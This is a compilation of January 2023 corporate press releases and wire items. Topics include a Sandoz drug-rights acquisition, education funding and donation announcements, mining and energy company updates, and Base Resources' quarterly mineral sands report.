Cycclone Magnetic Engine Developments Limited is engaged in the development and commercialization of new geometric configuration low carbon emission engines and other clean technology solutions with a view to create technologies that improve efficiency and reduce levels of greenhouse emissions. Cycclone has shareholding, assets and interests in transport operations in Australia. Cycclone Magnetic Engine Developments Limited operations are based in Australia.

Micheal Nugent

mnugent@nugent.com.au

www.cdbtcycclone.com

+61438158688

Safe Harbor Statement

Statements made in this press release are forward-looking and are made pursuant to the safe harbor provisions of the Securities Litigation Reform Act of 1995. Risk factors that could cause actual results to differ materially from those projected in forward-looking statements include, but are not limited to, general business conditions, managing growth, and political and other business risks.

SOURCE: China Dasheng Biotechnology Co.

View source version on accesswire.com:https://www.accesswire.com/736419/Cycclone-Magnetic-Engines-Limited-Opens-Component-Development-Facility
Sandoz plans to acquire worldwide product rights for Mycamine  (micafungin sodium) from Astellas

(micafungin sodium) from Astellas Acquiring leading global echinocandin, one of three major antifungal classes, will significantly reinforce Sandoz hospital offering and leading anti-infectives portfolio

Addition of Mycaminewill support Sandoz global program to combat antimicrobial resistance (AMR) by targeted use of most appropriate therapies

Basel, January 24, 2023 - Sandoz, the global leader in off-patent (generic and biosimilar) medicines, has signed an agreement to acquire worldwide product rights for leading systemic antifungal agent Mycamine (micafungin sodium, Funguard in Japan) from Astellas.

Closing is anticipated in the course of H1, 2023, subject to standard conditions and regulatory approvals.

Astellas reported Mycamine sales of JPY 18.9 billion (USD 135 million) for the year ending March 31, 2022. The announcement comes after Sandoz successfully completed the acquisition of GSK's global cephalosporins portfolio in October 2021.

Sandoz CEO Richard Saynor said: "Acquiring this leading and respected global brand will significantly reinforce the Sandoz global hospital offering, as well as complement our existing global leadership position in generic antibiotics."

He added: "This will also be an important addition to our growing portfolio of anti-infective therapies aimed at combatting the spread of antimicrobial resistance, by providing the right drug to the right patient at the right time."

Sandoz Anti-Infectives global medical lead Nicholas Adomakoh said: "Modern medicine is increasingly characterized by the need for complex interventions involving highly vulnerable patients. This welcome and timely portfolio addition will allow us to respond even better to the needs of patients and clinicians across the healthcare continuum."

Mycamine is a leading global echinocandin, one of three major classes of antifungal agents, with a global patient base of well over two million. It is a therapy of choice in hospitals and intensive care units worldwide, a proven prophylactic in hematology and oncology patients, and widely used in organ transplants.

Mycamine is indicated for treatment of invasive candidiasis and espophageal candidiasis, which are currently both on the rise with a higher occurrence of associated hospital outbreaks, as well as prevention of candida and aspergillus infections in patients undergoing hematopoietic stem cell transplantation.

Disclaimer

This press release contains forward-looking statements within the meaning of the United States Private Securities Litigation Reform Act of 1995. Forward-looking statements can generally be identified by words such as "potential," "can," "will," "plan," "may," "could," "would," "expect," "anticipate," "look forward," "believe," "committed," "investigational," "pipeline," "launch," or similar terms, or by express or implied discussions regarding potential marketing approvals, new indications or labeling for the investigational or approved products described in this press release, or regarding potential future revenues from such products. You should not place undue reliance on these statements. Such forward-looking statements are based on our current beliefs and expectations regarding future events, and are subject to significant known and unknown risks and uncertainties. Should one or more of these risks or uncertainties materialize, or should underlying assumptions prove incorrect, actual results may vary materially from those set forth in the forward-looking statements. There can be no guarantee that the investigational or approved products described in this press release will be submitted or approved for sale or for any additional indications or labeling in any market, or at any particular time. Neither can there be any guarantee that, if approved, such generic or biosimilar products will be approved for all indications included in the reference product's label. Nor can there be any guarantee that such products will be commercially successful in the future. In particular, our expectations regarding such products could be affected by, among other things, the uncertainties inherent in research and development, including clinical trial results and additional analysis of existing clinical data; regulatory actions or delays or government regulation generally; the particular prescribing preferences of physicians and patients; competition in general, including potential approval of additional generic or biosimilar versions of such products; global trends toward health care cost containment, including government, payor and general public pricing and reimbursement pressures and requirements for increased pricing transparency; litigation outcomes, including intellectual property disputes or other legal efforts to prevent or limit Sandoz from selling its products; general political, economic and business conditions, including the effects of and efforts to mitigate pandemic diseases such as COVID-19; safety, quality, data integrity or manufacturing issues; potential or actual data security and data privacy breaches, or disruptions of our information technology systems, and other risks and factors referred to in Novartis AG's current Form 20-F on file with the US Securities and Exchange Commission. Novartis is providing the information in this press release as of this date and does not undertake any obligation to update any forward-looking statements contained in this press release as a result of new information, future events or otherwise.

# # #

About Sandoz

Sandoz, a Novartis division, is a global leader in generic pharmaceuticals and biosimilars. Our purpose is to pioneer access for patients by developing and commercializing novel, affordable approaches that address unmet medical needs. Our ambition is to be the world's leading and most valued generics company. Our broad portfolio of high-quality medicines, covering all major therapeutic areas, accounted for 2021 sales of USD 9.6 billion.

Sandoz on social media:

LinkedIn: https://www.linkedin.com/company/sandoz (https://www.linkedin.com/company/sandoz)

Twitter: https://twitter.com/sandoz_global (https://twitter.com/sandoz_global)

Facebook: https://www.facebook.com/sandozglobal/ (https://www.facebook.com/sandozglobal/)

Instagram: https://www.instagram.com/sandozglobal (https://www.instagram.com/sandozglobal)

CEO Richard Saynor on LinkedIn: https://www.linkedin.com/in/richard-saynor/ (https://www.linkedin.com/in/richard-saynor/)
Delivering On Our Promise of Universal Education

Our investment in education - especially for children caught in crisis and conflict - is our investment in a better future.

GENEVA, Jan. 24, 2023 /PRNewswire/ -- The following is a press statement provided by Education Cannot Wait:





As we mark International Day of Education, world leaders must make good on their promise of providing quality education for all by 2030.

Education is our investment in peace where there is war, our investment in equality where there is injustice, our investment in prosperity where there is poverty.

Make no mistake about it, there is a global education crisis that threatens to unravel decades of development gains, spur new conflicts, and upend economic and social progress across the globe.

As UN Secretary-General Antonio Guterres highlighted at last year's Transforming Education Summit: "If we are to transform our world by 2030 as envisaged by the Sustainable Development Goals, then the international community must give this (education) crisis the attention it deserves."

When Education Cannot Wait (ECW), the United Nations global fund for education in emergencies and protracted crises, was founded in 2016, we estimated that 75 million crisis-impacted children required education support. Today, that number has tripled to 222 million.

Of the 222 million children whose right to an education has been ripped from their hands by the multiplying impacts of conflict, climate change and other protracted crises, an estimated 78 million are out of school all together - more than the total populations of France, Italy or the United Kingdom.

As we have seen from the war in Ukraine, the challenges of the Venezuelan migration to Colombia and South America, the unforgivable denial of education for girls in Afghanistan, and a devastating climate change-driven drought in the Horn of Africa that has created a severe hunger crisis for 22 million people, we are living in an interconnected world.

The problems of Africa, the Middle East, South America, and beyond are the problems of the world that we share together. And amid conflict, migration and climate change, governments like Colombia are struggling to secure the most basic living and education conditions for children in hard-to-reach borders.

There is hope. By embracing a new way of working and delivering with humanitarian speed and development depth, ECW and its strategic partners have reached 7 million children in just five years, with plans to reach 20 million more over the next four years.

On February 16, world leaders are gathering for the Education Cannot Wait High-Level Financing Conference in Geneva. Hosted by ECW and Switzerland - and co-convened by Colombia, Germany, Niger, Norway and South Sudan - the conference provides world leaders, businesses, foundations and high-net-worth individuals with the opportunity to deliver on our promise of education for all. The aim is to raise US$1.5 billion for the next four years.

As the co-conveners of this seminal event, we are calling on the people of the world to invest in the promise of an education. It's the best investment we could make in delivering on the Sustainable Development Goals. We have promises to keep.

Co-signed Statement By: Federal Councillor of the Swiss Confederation, Ignazio Cassis; Federal Minister for Economic Cooperation and Development, Germany, Svenja Schulze; Minister of Education, Niger, Ibrahim Natatou; Minister of International Development, Norway, Anne Beathe Tvinnereim; Minister of General Education and Instruction, South Sudan, Awut Deng Acuil; Minister of Education, Colombia, Alejandro Gaviria; Former UK Prime Minister, UN Special Envoy for Global Education and Chair of ECW's High-Level Steering Group The Rt. Hon. Gordon Brown.





Photo - https://mma.prnewswire.com/media/1987756/Education_Cannot_Wait_UNICEF.jpg

Logo - https://mma.prnewswire.com/media/1656121/Education_Cannot_Wait_Logo.jpg

View original content:https://www.prnewswire.co.uk/news-releases/press-statement-international-day-of-education-301728333.html
Over 200 printers donated to help early years education

HEMEL HEMPSTEAD, England, Jan. 24, 2023 /PRNewswire/ -- Epson has donated a further 125 EcoTank cartridge-free printers to The Usain Bolt Foundation bringing the total number of printers donated so far to 225. The Usain Bolt Foundation aims to create opportunities through education and cultural development in Jamaica. The printers will be distributed to primary schools to help early learning education.





Valued at over 50K, the printers were presented at a ceremony held at New Providence Primary School in Kingston, Jamaica. The ceremony was attended by Epson's ambassador, Usain Bolt together with the principal of New Providence Primary Mrs Olga Robinson Clarke, Fayval Williams, Minister for education and youth, and Winsome Wilkins, chair of The Usain Bolt Foundation. New Providence is just one of the many schools across Jamaica who will receive an EcoTank. They will be used to print worksheets and other educational materials, which many of the children did not have access to previously.

Usain Bolt, Epson's European ambassador for the last two years, accepted the EcoTank printers on behalf of his foundation and said: "My foundation is focused mostly on early childhood education so for me it's very important to get information to the kids when they need it most, to help them with their learning. We are very grateful for Epson's support for the second year."

Fayval Williams, minister for education and youth commented: "During the pandemic, we noticed that not all our students had technology and so having these printers will ensure that more of our students have access to the worksheets they need for their classes."

Speaking about how the printers will be used at New Providence Primary, the school's principal Olga Robinson Clarke said: "Technology has made a big difference in how we educate our children. But many of them are unable to purchase books so providing printers is a great way to help them."

Epson share's Usain Bolt's ambition to help ensure children everywhere receive the best education possible and has committed to support the United Nation's Sustainable Development Goal calling for inclusive and quality education. Mary McNulty, Head of PR and communications at Epson Europe who presented the printers on behalf of the company said: "Epson is a market leader in education around the world, and a key part of our overall strategy is enriching education through technology and we hope that this donation will help the children of Jamaica have a wonderful education and fulfil their potential. But we can't do everything by ourselves, and that is why partnerships like this and many others around the world are so important to help ensure we can all continue to grow and flourish."

Photo - https://mma.prnewswire.com/media/1988056/Epson_Europe_1.jpg

View original content:https://www.prnewswire.co.uk/news-releases/epson-donates-more-ecotank-printers-to-the-usain-bolt-foundation-in-jamaica-301728125.html
Calgary, Alberta--(Newsfile Corp. - January 23, 2023) - WesCan Energy Corp. (TSXV: WCE) ("WesCan" or the "Company") is pleased to announce the appointment of James (Jim) Pollock to the Board of Directors of the Company effective January 23, 2023.

Mr. Pollock joins the Company with an extensive background in the energy sector. Mr. Pollock is a geologist and energy executive with over 35 years of experience in the oil and natural gas marketing and power industries. Currently, he is vice president (VP) of Commercial with Western Power Partners, a private power project and development company. His work experience includes roles as a senior officer in several public, independent power producers (IPPs), including senior level experience in the development, commercial contracting and energy marketing of gas-fired power plants. Mr. Pollock was previously VP, business development with Maxim Power and has held senior roles with various private and public companies including Duke Energy, Moneta Energy and Continental Energy.

The Company welcomes Mr. Pollock to the board of directors and management looks forward to working with him as his experience and leadership are expected to contribute to WesCan's future strategic plans and growth of the Company.

In addition, the Company announces the retirement and resignation of Mike Robichaud as Director of the Company. The Company would like to thank Mr. Robichaud for his long-time contributions and wishes him all the best in his future endeavors throughout his retirement.

FOR FURTHER INFORMATION, PLEASE CONTACT:

Greg T. Busby, President & CEO

WESCAN ENERGY CORP.

Tel: (403) 265-9464

John H. Cassels, CFO

WESCAN ENERGY CORP.

Tel: (403) 265-9464

TSX Venture: WCE

www.wescanenergycorp.com

This news release does not constitute an offer to sell or a solicitation of an offer to buy any of the securities in the United States. The securities have not been and will not be registered under the United States Securities Act of 1933, as amended (the "U.S. Securities Act") or any state securities laws and may not be offered or sold within the United States or to U.S. Persons unless registered under the U.S. Securities Act and applicable state securities laws or an exemption from such registration is available.

NEITHER THE TSX VENTURE EXCHANGE NOR ITS REGULATION SERVICES PROVIDER (AS THAT TERM IS DEFINED IN THE POLICIES OF THE TSX VENTURE EXCHANGE) ACCEPTS RESPONSIBILITY FOR THE ADEQUACY OR ACCURACY OF THIS NEWS RELEASE.

THIS NEWS RELEASE IS NOT FOR DISTRIBUTION TO UNITED STATES NEWSWIRE SERVICES OR FOR DISSEMINATION IN THE UNITED STATES

To view the source version of this press release, please visit https://www.newsfilecorp.com/release/152243
BASEL (dpa-AFX) - Sandoz said it has entered into an agreement to acquire worldwide product rights for systemic antifungal agent Mycamine from Astellas Pharma Inc. (ALPMY, ALPMY). Closing is anticipated in the course of first half of 2023. Sandoz stated that addition of Mycamine will support its global program to combat antimicrobial resistance by targeted use of the most appropriate therapies. Astellas said it will receive $62.5 million - $75 million upfront payament, depending on the date of the closing of the transaction, and potential sales-based milestone payments. Astellas reported Mycamine sales of US$135 million for the year ending March 31, 2022. Mycamine is indicated for treatment of invasive candidiasis and espophageal candidiasis, which are currently both on the rise with a higher occurrence of associated hospital outbreaks, as well as prevention of candida and aspergillus infections in patients undergoing hematopoietic stem cell transplantation. Copyright(c) 2023 RTTNews.com. All Rights Reserved Copyright RTT News/dpa-AFX

Werbehinweise: Die Billigung des Basisprospekts durch die BaFin ist nicht als ihre Befurwortung der angebotenen Wertpapiere zu verstehen. Wir empfehlen Interessenten und potenziellen Anlegern den Basisprospekt und die Endgultigen Bedingungen zu lesen, bevor sie eine Anlageentscheidung treffen, um sich moglichst umfassend zu informieren, insbesondere uber die potenziellen Risiken und Chancen des Wertpapiers. Sie sind im Begriff, ein Produkt zu erwerben, das nicht einfach ist und schwer zu verstehen sein kann.
FRESNO, Calif., Jan. 24, 2023 /PRNewswire/ -- The 1,300+ acre collection of vineyards and land commonly referred to as the Paicines Vineyards located within San Benito County, California, was recently sold to The Wine Group ("TWG"). The Mendrin Group, a leading agricultural brokerage, consulting, and advisory firm, served as the exclusive advisor to the seller, an undisclosed winery in the transaction.





The Paicines Vineyards are located in the Paicines American Viticultural Area, a quality growing area of California's Central Coast and San Benito County that has seen a revival of interest in wines produced where deep-rooted brands such as Almaden and Paul Masson originated.

The acquisition expands The Wine Group's existing holdings of vineyards within the Paicines AVA in a significant way. "The Paicines Vineyards offer a great blend of water security, scale, production, quality, and overall value as an asset to produce coastal red and white winegrapes for our wine programs currently met with strong demand," stated John Sutton, CEO of The Wine Group.

About The Wine Group

With over 60 wine brands and many winery facilities located worldwide, The Wine Group, headquartered in Livermore, CA, is America's second largest wine producer by volume. TWG is responsible for many of America's most beloved and award-winning wine brands such as Cupcake, Franzia, Benziger, Imagery, AVA Grace, 7 Deadly, and more. "At TWG we are proud to make a positive environmental impact and preserve our land for generations to come. We demonstrate our environmental stewardship through our commitment to clean energy, our certification of all TWG vineyards (covering thousands of acres) as sustainable or biodynamic, and requiring our third-party grape producers to do the same. This is not only good for the land, it's good for the future and for the wines we make." For further information, please visit: www.thewinegroup.com

About The Mendrin Group

The Mendrin Group is a leading agricultural industry brokerage, consulting, and advisory firm, that specializes in the valuation, marketing, acquisition, and sale of agricultural related assets and vertically-integrated agribusinesses, and has represented clients throughout the United States and globally for over 30 years. Based in California, The Mendrin Group has served in an advisory role in numerous transactions on behalf of family farming operations, agribusinesses, investment firms, and pension, private equity, and sovereign wealth funds, in addition to global food and beverage companies. For further information, please visit: www.mendrins.com









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View original content:https://www.prnewswire.co.uk/news-releases/the-wine-group-acquires-1-300-acre-paicines-vineyards-301728720.html
Perth, Western Australia--(Newsfile Corp. - January 23, 2023) - Peninsula Energy (ASX: PEN) would like to cordially invite you to visit us at Booth #535 at the Vancouver Resource Investment Conference (VRIC) to be held at the Vancouver Convention Centre West (1055 Canada Place, Vancouver) on Sunday January 29 - Monday January 30, 2023.

Notable keynote speakers include former Premier of BC Christy Clark and former Premier of Saskatchewan, Brad Wall. Other keynote speakers will include dozens of globally respected economists, legendary money managers, and investors.

"We are entering a new era of de-globalization. The trust that allowed for global trade over the last 30 years has shifted irreversibly and countries are now scrambling to secure supplies of natural resources as a matter of national security. As a result, demand for key resources, will skyrocket. We have gathered over 300 companies that are exploring for and producing these natural resources so investors can position themselves accordingly," said Jay Martin, Host of the Vancouver Resource Investment Conference.

For more information and/or to register for the conference please visit: https://cambridgehouse.com/vancouver-resource-investment-conference.

We look forward to seeing you there.

About the Vancouver Resource Investment Conference:

The Vancouver Resource Investment Conference has been the epicentre of junior mining investment in Canada for 25 years and attracts over 5000 mining investors annually. Previous years have been attended by former Prime Minister Stephan Harper and former President of Mexico Felipe Calderon.

The VRIC will include a marketplace of over 300 investment opportunities in the mining industry, spanning early-stage exploration to advanced producing mines.

For further information:

Wayne Heili

Managing Director / CEO

+61 8 6263 4461

info@pel.net.au

https://www.pel.net.au/
Innovative institution completes certification process in under one year

RIYADH, Saudi Arabia, Jan. 24, 2023 /PRNewswire/ -- Anthology, a leading provider of education solutions that support the entire learner lifecycle, today announced that Saudi Electronic University (SEU) has become the first institution certified as a global Center of Excellence Strategic Education Partner. The certification process is a rigorous evaluation of an institution's digital learning and teaching ecosystem, a process which SEU completed in just seven months. The certification reflects SEU's substantial commitment to achieving the highest level of digital maturity and becoming an Anthology Strategic Education Partner in the Kingdom of Saudi Arabia.





"This achievement underscores Saudi Electronic University's pioneering mindset as a global leader in digital teaching and learning practices," said Jim Brigadier, President of Global Markets at Anthology. "Their steadfast commitment to advancing the education system in the Kingdom is equipping the next generation of critical thinkers and self-learners with the skills they need to lead and achieve national goals."

Since establishment in 2011, SEU leadership has focused on ensuring the university becomes a mature, modern, world-class institution. In alignment with Saudi Arabia's Vision 2030, SEU is committed to advancing the education system, achieving national goals in the Kingdom and influencing best practices globally. Their strategic vision to lead the utilization of technology in education to contribute to national development and strategic purpose to empower learners to achieve their ambitions through the optimal application of technology and knowledge were fundamental to their certification as a Center of Excellence Strategic Education Partner. As a Strategic Education Partner with Anthology, SEU is active in locating and utilizing the best and most advanced technologies for national development and benefit across the Kingdom of Saudi Arabia.

"Applying for the Center of Excellence certification offered SEU a great opportunity to revisit its current practices and discover new trends in digital teaching and learning according to global standards," said Dr. Hazzaa Alshareef, Vice President of Academic Affairs at Saudi Electronic University. "The process has enabled our institution to affirm our position as a lighthouse for e-learning in the region."

The Anthology Center of Excellence certification process ensures that an institution is aligned across four educational pillars of excellence to offer the best educational experience. The process follows four stages: assessment, establishment, certification, and innovation. Since beginning the process just seven months ago, SEU has proven their maturity as a world-class institution and their commitment to strategically leading and influencing the innovative ways technologies are used in and outside the classroom. The institution undertook an exhaustive and systematic evaluation against global maturity benchmarks that represented four educational pillars of excellence: leadership and strategy, student learning experiences, quality and innovation, and technical deployment. Now certified, SEU enters the innovation phase, where the institution becomes a strategic education partner with Anthology and serves as an influencer, shaping and sharing best practices as the leading innovator in and beyond the region. Anthology looks forward to collaborating with SEU in their innovation phase.

About Anthology

Anthology offers the largest EdTech ecosystem on a global scale for education, supporting more than 150 million users in 80 countries. With a mission to provide dynamic, data-informed experiences to the global education community through Anthology Intelligent Experiences, we help learners, leaders and educators achieve their goals by offering over 60 SaaS products and services designed to advance learning. Discover more about how we are fulfilling our mission for education, business and government institutions at www.anthology.com.

CONTACT:

Heather Phillips

Anthology

Heather.Phillips@Anthology.com

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View original content:https://www.prnewswire.co.uk/news-releases/saudi-electronic-university-becomes-anthologys-first-global-center-of-excellence-strategic-education-partner-301728832.html
AIM and Media Release

24 January 2023

BASE RESOURCES LIMITED

Quarterly Activities Report - December 2022

African mineral sands producer, Base Resources Limited (ASX & AIM: BSE) (Base Resources or the Company) is pleased to provide an operational, development and corporate update for the quarter ended 31 December 2022.

Key Points

Contracted sales saw further price gains for rutile, while ilmenite and zircon prices moderated.

Bumamani Project implementation remains on schedule - extending Kwale Operations mine life.

Phase 1 of exploration drilling in northern Tanzania was completed, with a total of 149 holes for 3,889m . Results from this program are expected to be released in the March 2023 quarter.

was completed, with a total of 149 holes for . Results from this program are expected to be released in the quarter. Exploration drilling commenced North-East of Kwale Operations, with 320 holes for 3,260m drilled to date.

drilled to date. Discussions with the Government of Madagascar on Toliara Project fiscal terms continued to progress positively.

on Toliara Project fiscal terms continued to progress positively. Toliara Project Rare Earths Concept Study is on track for completion in the March 2023 quarter.

quarter. Inaugural Sustainability Report and Sustainability Databook released.

KWALE OPERATIONS

Operational performance

Mining operations continued on the South Dune with mined tonnage as planned at 4.5 million tonnes (Mt) (last quarter: 4.4Mt). The heavy mineral (HM) grade of ore mined in the quarter was higher at 4.02% (last quarter: 3.78%) due to new, higher-grade blocks being mined. As a result of the higher ore grade mined, there was a 3% increase in heavy mineral concentrate (HMC) production over the prior quarter, with the HMC stockpile increasing from 10kt to 15kt. Rutile and zircon production were higher in the quarter due to those products representing a higher proportion of the mineral assemblage and higher recoveries, while ilmenite production dropped slightly.

SUMMARY BY QUARTER FY22 FY23 DEC MAR JUN SEP DEC Mining (million tonnes) Ore mined 4.3 3.9 3.9 4.4 4.5 HM % 3.82 3.84 4.06 3.78 4.02 VHM % 2.94 2.92 3.12 2.85 3.12 Production (thousand tonnes) Ilmenite 84.0 84.5 83.8 86.0 84.5 Rutile 18.4 18.9 19.2 18.9 19.5 Zircon 6.4 6.3 6.8 6.6 7.4 Low grade products1 3.5 4.4 4.9 5.7 5.2

FY22 FY23 DEC MAR JUN SEP DEC US$ per tonne Sales revenue $459 $740 $691 $714 $651 Operating costs $161 $149 $152 $154 $165 Cost of goods sold $156 $227 $196 $200 $191 Revenue: Cost ratio 2.9 3.3 3.5 3.6 3.4 Sales (thousand tonnes) Ilmenite 130.0 75.5 95.7 62.6 74.1 Rutile 11.6 25.3 24.7 14.2 14.7 Zircon 6.2 6.9 7.1 6.2 5.0 Low grade products1 1.5 4.8 4.7 4.5 4.7

[Note (1): Low grade products are a combination of low-grade zircon and low-grade rutile which are sold separately at a discount to standard grade products.]

Bulk shipping operations at the Company's Likoni export facility continued to run smoothly, with a combined 84kt of bulk ilmenite and rutile dispatched (last quarter: 63kt). Containerised shipments of rutile and zircon through the Mombasa Port also proceeded to plan.

Sand tails continued to be deposited into the mined-out Central Dune area and capped with a 6m thick co-disposed slimes/sand layer to aid water retention and subsequent rehabilitation. Rehabilitation activities on the Central Dune and South Dune proceeded to plan.

Total cash operating costs of US$19.3 million were higher compared to the prior quarter (last quarter at US$17.9 million), primarily due to higher unit power costs and increased maintenance costs. With the higher operating costs and consistent combined production volume, unit operating costs increased to US$165 per tonne produced (rutile, ilmenite, zircon, low grade zircon and low-grade rutile) (last quarter: US$154 per tonne).

Cost of goods sold decreased to US$191 per tonne sold (operating costs, adjusted for stockpile movements, and royalties) due to sales volume and mix (last quarter: US$200 per tonne), as did average unit revenue, which was US$651 per tonne (prior quarter: US$714 per tonne). Consequently, the revenue to cost of goods sold ratio for the quarter was 3.4 (last quarter: 3.6).

FY23 production guidance

With the concurrent mining of the South Dune with the lower grade North Dune remaining on track to commence in March 2023, Kwale Operations production guidance for the 2023 financial year (FY23) remains at:

Rutile - 62,000 to 73,000 tonnes.

Ilmenite - 260,000 to 310,000 tonnes.

Zircon - 22,000 to 27,000 tonnes2.

[Note (2): Refer to Base Resources' announcement on 25 October 2022 "Quarterly Activities Report - September 2022" for the assumptions upon which the FY23 production guidance is based.]

MARKETING

Demand for Base Resources' products remained firm through the quarter, however pricing outcomes were mixed given the challenging economic conditions across some regions and market sectors. Rutile prices experienced further gains while ilmenite and zircon prices declined. Subdued conditions in most downstream markets are applying downward price pressure across all products for the March quarter, however demand for most products is expected to stabilise and provide a steady footing for future prices.

Despite weakness in the Chinese economy and the Chinese domestic pigment market, demand for imported ilmenite as a feedstock for Chinese TiO2 pigment producers continued to hold up. Chinese domestic pigment demand stabilised towards the end of the quarter after a prolonged period of weakening conditions and most Chinese pigment plants are moving back towards normal production levels. Major pigment producers with exposure to export markets, which typically have a high dependence on imported ilmenite as a feedstock, have generally maintained high production levels as increased offshore sales have offset a decline in domestic sales. Export demand for these producers is likely to be maintained, particularly as high-cost sulphate pigment production in Europe has been curtailed. This, combined with a potential recovery in the Chinese domestic market following the lifting of the government's COVID-19 restrictions, is expected to provide ongoing demand strength for ilmenite imported into China.

Softening pigment market conditions in Europe since the latter part of the September quarter added to subdued domestic conditions in Asia and growing uncertainty in North America, resulting in some western pigment producers curtailing production rates. This has weighed on rutile demand through the quarter and into the start of 2023. However, contracted rutile prices to the pigment sector, mostly established in mid-2022 during tighter conditions, saw further price gains through the quarter. Major western pigment producers plan to ramp up production from early 2023 with an expectation that the pigment market will improve through early 2023 and return to normal levels by mid-2023. This should result in improving demand for rutile and provide support for prices.

Rutile demand from the smaller welding and titanium metal sectors remains strong but increased rutile inventories in Asia has placed pressure on the price premium that has been achieved in these sectors relative to the pigment sector. Overall, rutile prices are expected to decline moderately in the March quarter.

Softer zircon conditions in Europe added to the weak environment in the Chinese zircon market through the quarter which resulted in a decline in zircon prices. Subdued zircon demand going into the March quarter is being partially offset by reduced supply from some major producers experiencing production challenges and/or re-building their own zircon inventory in order to stabilise prices. Building optimism from the lifting of the government's COVID-19 restrictions in China may result in improved demand and pricing conditions for zircon in coming quarters.

SUSTAINABILITY

Sustainability reporting

The Company released its inaugural Sustainability Report and Sustainability Databook in the quarter with both documents available on the Base Resources website.

Health and safety

There were no lost time injuries during the quarter resulting in a lost time injury frequency rate (LTIFR) for Base Resources of 0.23 per million hours worked. Compared to the Western Australian All Mines 2020/2021 LTIFR of 2.0, this remains an exceptional performance and reflects the ongoing focus and importance placed on safety by management. With two medical treatment injuries recorded in the last 12 months, Base Resources' total recordable injury frequency rate is 0.69 per million hours worked.

Community and environment - Kwale Operations

Farmers participating in the Company's agricultural livelihood programs in Kwale, implemented through the PAVI farmers' cooperative, continued harvesting of cotton, soybean, sunflower, pearl millet, groundnuts and sorghum. A strong yield has been harvested with over 30 tonnes of cotton delivered to a local ginnery and plans underway to increase the PAVI feed mill capacity from two to five tonnes per month following identification of new markets. 100 youths from local villages were selected and enrolled in vocational training courses as part of the Company's ongoing commitment to education and skills development.

Indigenous legumes, grass seed and manure continued to be sourced from local community groups for use in rehabilitation activities on the mined-out sections of the South Dune and the Central Dune. Propagation of indigenous trees in the Kwale Operations nursery to use in rehabilitation areas is ongoing.

Community and environment - Toliara Project

All community training programs and social infrastructure projects remain on hold while the Company's on-ground activities are suspended.

BUSINESS DEVELOPMENT

Toliara Project development - Madagascar

Discussions with the Government of Madagascar on fiscal terms, and lifting of its on-ground suspension, have made encouraging progress in the quarter.

A Final Investment Decision (FID) to proceed with construction of the Toliara Project remains subject to lifting of the suspension and fiscal terms being agreed with the Government of Madagascar. Once these two key milestones are achieved, there will be approximately 11 months' work to complete prior to reaching FID, including finalisation of funding, completion of land access arrangements, conclusion of major construction contracts and entry of offtake agreements with customers. Contact with major EPCM consultants, construction contractors and equipment suppliers has been maintained in readiness to accelerate progress when conditions support. Assessment of potential funding options for the Toliara Project also progressed during the quarter.

The Toliara Rare Earths Concept Study, which is assessing the commercial potential of the monazite contained in the Toliara Project's Ranobe Mineral Resources estimate, is progressing towards completion in the March 2023 quarter. This study will provide the basis for a decision to proceed to a pre-feasibility study.

Total expenditure on the Toliara Project for the quarter increased to US$2.6 million (last quarter: US$2.0 million), with increased spend on the Toliara Rare Earths Concept Study and intensified government engagement activities.

Kwale mine life extension

Implementation of the Bumamani Project, which will extend Kwale Operations mine life, continued during the quarter, and mining activities on the Kwale North Dune remain on schedule to commence in March 2023. The subsets of the Kwale North Dune forming part of the Bumamani Project will be mined concurrently with the South Dune to maximise mining rates and better manage tailings.

Expenditure on the Bumamani Project during the quarter was US$9.9 million (last quarter: US$9.2 million) with construction, earthworks and final land access activities taking place.

Extensional exploration - Kenya and Tanzania

Landowner consent for access for exploration activities to the area immediately North-East of Kwale Operations (and within Prospecting Licence 2018/0119) was secured during the quarter, with 320 holes for a total of 3,260m having been drilled by the end of the quarter- refer to Figure 1 in the PDF version of this release, available from the Company's website: www.baseresources.com.au, for a photograph of the exploration drilling. Exploration in this area will continue in the March quarter as further land access is secured.

On-ground exploration in northern Tanzania progressed, with the initial 400m x 200m spaced reverse circulation drilling program being completed during the quarter. In total, 149 holes for 3,889m were drilled. The drill samples were exported to Kenya for analysis at the Kwale Operations laboratory with this work currently ongoing. Analysis for graphite is also being concurrently undertaken by an external laboratory. Results from this program are expected to be released in the March 2023 quarter.

Prospecting licence applications lodged for an area in the Kuranze region of Kwale County, about 70 km west of Kwale Operations, together with applications for an area south of Lamu, remain on hold pending lifting of a Government of Kenya moratorium on issuance of new mineral rights, in place since November 2019. The Company is working with the Government of Kenya, and other mining sector stakeholders, to see the moratorium lifted.

Expenditure on exploration activities during the quarter in Tanzania was US$232k (last quarter: US$223k) and in Kenya was US$158k (last quarter: US$53k).

CORPORATE

FY23 half-year financial results

The Company plans to release of its FY23 half-year consolidated financial statements on 27 February 2023. The timing for release will be confirmed, and investor call details will be advised, closer to the targeted release date.

In summary, as at 31 December 2022, the Company had net cash of US$60.2 million consisting of cash and cash equivalents of US$60.2 million and no debt.

Despite recording strong sales in the quarter, the Company's net cash position decreased, primarily due to Bumamani Project implementation expenditure, corporate tax instalment payments, dividend withholding tax payments and the majority of the sales occurring late in the quarter, leading to an increase in receivables of US$17.2 million.

As at 31 December 2022, the Company had the following securities on issue:

1,178,011,850 fully paid ordinary shares.

58,020,619 performance rights pursuant to the terms of the Base Resources Long Term Incentive Plan, comprising: 4,630,289 vested performance rights, which remain subject to exercise 3 ; and 53,390,330 unvested performance rights subject to performance testing in accordance with their terms of issue.



[Note (3):Vested performance rights have a nil cash exercise price. Unless exercised beforehand, these rights expire five years after vesting.]

Forward looking statements

Certain statements in or in connection with this announcement contain or comprise forward looking statements. Such statements may include, but are not limited to, statements with regard to future production and grades, capital cost, capacity, sales projections and financial performance and may be (but are not necessarily) identified by the use of phrases such as "will", "expect", "anticipate", "believe" and "envisage". By their nature, forward looking statements involve risk and uncertainty because they relate to events and depend on circumstances that will occur in the future and may be outside Base Resources' control. Accordingly, results could differ materially from those set out in the forward-looking statements as a result of, among other factors, changes in economic and market conditions, success of business and operating initiatives, changes in the regulatory environment and other government actions, fluctuations in product prices and exchange rates and business and operational risk management. Subject to any continuing obligations under applicable law or relevant stock exchange listing rules, Base Resources undertakes no obligation to update publicly or release any revisions to these forward-looking statements to reflect events or circumstances after today's date or to reflect the occurrence of unanticipated events.

ENDS.

For further information contact:

James Fuller, Manager Communications and Investor Relations UK Media Relations Base Resources Tavistock Communications Tel: +61 8 9413 7426 Jos Simson and Gareth Tredway Mobile: +61 488 093 763 Tel: +44 207 920 3150 Email: jfuller@baseresources.com.au

This release has been authorised by the Board of Base Resources.

About Base Resources

